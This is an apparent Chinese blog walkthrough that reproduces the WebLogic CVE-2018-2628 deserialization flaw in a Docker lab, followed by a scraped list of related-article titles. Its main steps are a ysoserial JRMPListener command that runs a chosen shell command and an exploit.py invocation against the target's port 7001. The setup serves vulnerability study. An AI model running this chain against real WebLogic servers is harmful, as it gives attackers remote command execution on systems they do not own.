0.先提几个概念

JRMP:java remote method protocol,Java远程方法协议
JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。
JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol)
该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。


1.安装靶机环境

docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

#这里直接使用大佬配置好的环境


2.在JRMPListener主机上运行命令

这里采用的是Ubuntu16.04+docker,docker容器作为weblogic靶机,在此JRMPListener主机指的是Ubuntu16.04。

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/sss666.txt'
#'touch /tmp/sss666.txt'为我想执行的命令,1099是JRMP Server监听的端口。


图中的172.17.0.2的ip为docker靶机的ip
3.运行exploit脚本

python exploit.py 172.17.0.2 7001 ../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.185.43.215 1099 JRMPClien
#172.17.0.2 7001是weblogic靶机的IP和端口
#../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 是ysoserial的本地路径根据自己真实路径填写
#10.185.43.215 1099的JRMP 一端的IP地址和端口
#JRMPClien是执行JRMPClient的类


4.进入docker靶机查看文件是否创建成功

docker exec -ti determined_stonebrak /bin/bash
#determined_stonebrak是我的docker靶机的名字,每个人创建的名字都不一样可使用docker ps查看NAME
ls /tmp/

weblogic(CVE-2018-2628漏洞复现)相关推荐

  1. 关于WebLogic环境搭建和漏洞复现

    一.环境搭建 使用kali系统安装docker,再在docker上安装环境,这里以CVE-2020-14882为例 在kali进入root用户,输入 git clone https://github. ...

  2. Weblogic历史漏洞复现

    Weblogic WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式 ...

  3. java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...

  4. Weblogic WLS Core Components 反序列化命令执行漏洞复现(CVE-2018-2628)

    Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未 ...

  5. [web攻防] weblogic 漏洞复现 CVE-2017-10271CVE-2018-2628CVE-2018-2894

    用docker复现weblogic的部分高危漏洞,主要是记录下一些操作,积累自己的知识储备.由于时间与个人水平原因,不对原理做过多叙述. 目录 环境打开方式 CVE-2017-10271 weblog ...

  6. weblogic修改banner_Weblogic多个漏洞复现

    WebLogic两处任意文件上传漏洞(CVE-2018-2894) 涉及版本: version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3 漏洞地址 WebLogic管理端 ...

  7. WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)

    1.产品简介 Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发.部署和运行企业应用程序,例如 Java.WebLogic Server提供了Java Enter ...

  8. weblogic中ssrf漏洞修复_Weblogic-SSRF漏洞复现

    0x00简介 WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发.集成.部署和管理大型分 ...

  9. weblogic漏洞复现(CVE-2020-2555)

    漏洞环境:fofa自己找,server=weblogic port=7001 一.漏洞简介 该反序列化的gadget存在与coherence包中.具体可以见分析 构造chain类似于common-co ...

  10. weblogic 漏洞复现

    cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录sudo service docker start //启动docker服务docker-compose up - ...

最新文章

  1. linux计划任务怎么做,做linux计划任务的步骤
  2. PHP标记风格,编码规范
  3. 学习笔记(十二)——虚拟机安装和pycharm远程连接Ubuntu
  4. html 超链接打开Excel,计算机打开Excel超链接时提示的解决方案
  5. Stream流中的常用方法_skip
  6. 每周.NET前沿技术文章摘要(2017-05-24)
  7. 5门可能衰落的编程语言
  8. TensorFlow5-监督式机器学习基础知识
  9. php的list函数的使用,php list函数如何使用
  10. Tomcat绑定jre
  11. 计算机人力资源试题及答案,计算机二级word练习题一题目及答案.
  12. linux 复 带进度条
  13. 这个开源的视频编辑项目,有点6~
  14. matlab besselh,关于用matlab求bessel函数零点
  15. 百度网盘链接提取码接口实现
  16. 揭穿内存厂家“谎言”,实测内存带宽真实表现
  17. 计算机的云是什么意思_阿里巴巴计算机云是什么意思
  18. 超低频测试信号产生电路软件流程图,超低频任意波形信号发生器方案设计书.doc...
  19. Vue实现动态复选框的全选 全不选 获取选中值
  20. 广州智算科技有限公司前端面试题

热门文章

  1. keycode对照表(键码对照表)
  2. linux简单快速启用web
  3. Java动态解析域名
  4. 基本数据类型(列表,元祖,字典,集合)
  5. Principles of Reactive Programming 之Actors are Distributed (1)
  6. 职业化之可以固化的六个工作模式
  7. UU看书于今日成功上线,各大小说网站发来贺电!!
  8. 风影ASP.NET基础教学 3 web服务器控件(二)
  9. MFC 问题集(4)CListCtrl
  10. string转换bigdecimal_使用MapStruct处理恼人的bean转换